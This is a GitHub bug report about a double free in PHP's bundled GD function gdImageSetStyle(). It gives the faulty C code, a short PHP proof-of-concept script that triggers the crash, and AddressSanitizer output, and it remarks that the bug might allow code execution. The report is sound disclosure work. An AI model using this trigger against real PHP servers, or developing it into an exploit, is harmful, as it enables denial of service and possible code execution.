Skip to content

Double free in gdImageSetStyle() #22121

@therealcoiffeur

Description

@therealcoiffeur

Description

Summary

im->style is freed at line 2883 but never set to NULL. When overflow2(sizeof(int), noOfPixels) returns true (i.e., noOfPixels > INT_MAX / sizeof(int)), the function returns at line 2886 with im->style still holding the now-freed pointer.

Two separate code paths will subsequently free the dangling pointer:

  1. Next call to gdImageSetStyle(): line 2882 checks if (im->style)
    (still non-NULL), then line 2883 calls gdFree(im->style) again.
  2. GD object destructor: When the PHP GdImage object is GC'd,
    php_gd_image_object_free (gd.c:180) calls gdImageDestroy, which hits
    if (im->style) { gdFree(im->style); } at lines 265-266. This fires
    automatically on unset($im) or script shutdown.

Note:
The explicit imagedestroy() call is deprecated since PHP 8.5 and has no
direct effect. The double free comes from the destructor during PHP's GC
sweep, not from imagedestroy()` itself.

Vulnerable Source Code

void gdImageSetStyle(gdImagePtr im, int *style, int noOfPixels)
{
    if (im->style) {
        gdFree(im->style);          // frees old style -- no NULL assignment follows
    }
    if (overflow2(sizeof(int), noOfPixels)) {
        return;                     // early return leaves im->style dangling
    }
    im->style = (int *) gdMalloc(sizeof(int) * noOfPixels);
    memcpy(im->style, style, sizeof(int) * noOfPixels);
    im->styleLength = noOfPixels;
    im->stylePos = 0;
}

How to Trigger

<?php
$im = imagecreatetruecolor(1, 1);
imagesetstyle($im, [0]);
imagesetstyle($im, array_fill(0, 536870912, 0));

Command:

USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php

In the POC, line 2 allocates im->style. Line 3 frees it and returns early (overflow), leaving im->style dangling. Line 4 triggers the overflow. The double free fires when PHP GC's $im at script end via php_gd_image_object_free -> gdImageDestroy -> gdFree(im->style).

Output:


Warning: imagesetstyle(): Product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully
 in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f3/poc.php on line 4
=================================================================
==35745==ERROR: AddressSanitizer: attempting double-free on 0x602000007670 in thread T0:
    #0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x0001044d123c in __zend_free zend_alloc.c:3571
    #2 0x0001044d4f50 in _efree zend_alloc.c:2788
    #3 0x00010346142c in php_gd_gdImageDestroy gd.c:266
    #4 0x000103402794 in php_gd_image_object_free gd.c:180
    #5 0x000104b88d30 in zend_objects_store_del zend_objects_API.c:193
    #6 0x000104beef2c in rc_dtor_func zend_variables.c:56
    #7 0x000104bef040 in i_zval_ptr_dtor zend_variables.h:44
    #8 0x000104beef68 in zval_ptr_dtor zend_variables.c:83
    #9 0x000104a83d74 in _zend_hash_del_el_ex zend_hash.c:1502
    #10 0x000104a82cfc in _zend_hash_del_el zend_hash.c:1529
    #11 0x000104a8bf94 in zend_hash_reverse_apply zend_hash.c:2245
    #12 0x00010460c140 in shutdown_destructors zend_execute_API.c:259
    #13 0x000104c07f78 in zend_call_destructors zend.c:1339
    #14 0x00010425ee4c in php_request_shutdown main.c:1983
    #15 0x000104c11808 in do_cli php_cli.c:1166
    #16 0x000104c0e0cc in main php_cli.c:1370
    #17 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

0x602000007670 is located 0 bytes inside of 4-byte region [0x602000007670,0x602000007674)
freed by thread T0 here:
    #0 0x000107e14f10 in free+0x74 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54f10)
    #1 0x0001044d123c in __zend_free zend_alloc.c:3571
    #2 0x0001044d4f50 in _efree zend_alloc.c:2788
    #3 0x0001034696cc in php_gd_gdImageSetStyle gd.c:2883
    #4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
    #5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #6 0x000104636194 in execute_ex zend_vm_execute.h:110168
    #7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
    #8 0x000104c09350 in zend_execute_script zend.c:1971
    #9 0x0001042624f4 in php_execute_script_ex main.c:2646
    #10 0x000104262a64 in php_execute_script main.c:2686
    #11 0x000104c0fb0c in do_cli php_cli.c:947
    #12 0x000104c0e0cc in main php_cli.c:1370
    #13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

previously allocated by thread T0 here:
    #0 0x000107e14e24 in malloc+0x70 (libclang_rt.asan_osx_dynamic.dylib:arm64+0x54e24)
    #1 0x0001044d5560 in __zend_malloc zend_alloc.c:3543
    #2 0x0001044d4e24 in _emalloc zend_alloc.c:2778
    #3 0x00010346970c in php_gd_gdImageSetStyle gd.c:2888
    #4 0x0001033bffc8 in zif_imagesetstyle gd.c:657
    #5 0x000104969f40 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #6 0x000104636194 in execute_ex zend_vm_execute.h:110168
    #7 0x000104636b28 in zend_execute zend_vm_execute.h:115586
    #8 0x000104c09350 in zend_execute_script zend.c:1971
    #9 0x0001042624f4 in php_execute_script_ex main.c:2646
    #10 0x000104262a64 in php_execute_script main.c:2686
    #11 0x000104c0fb0c in do_cli php_cli.c:947
    #12 0x000104c0e0cc in main php_cli.c:1370
    #13 0x00018c9cfdfc in start+0x1b4c (dyld:arm64e+0x1fdfc)

SUMMARY: AddressSanitizer: double-free zend_alloc.c:3571 in __zend_free
==35745==ABORTING
[1]    35745 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f3/poc.php

Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-2233-r24f-4m45 is not part of PHP's threat model (which is wrong, but that's not my call).
"This is a bug, but not a security issue. Please report as a regular issue."

PHP Version

PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

Operating System

No response

Metadata

Metadata

Assignees

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions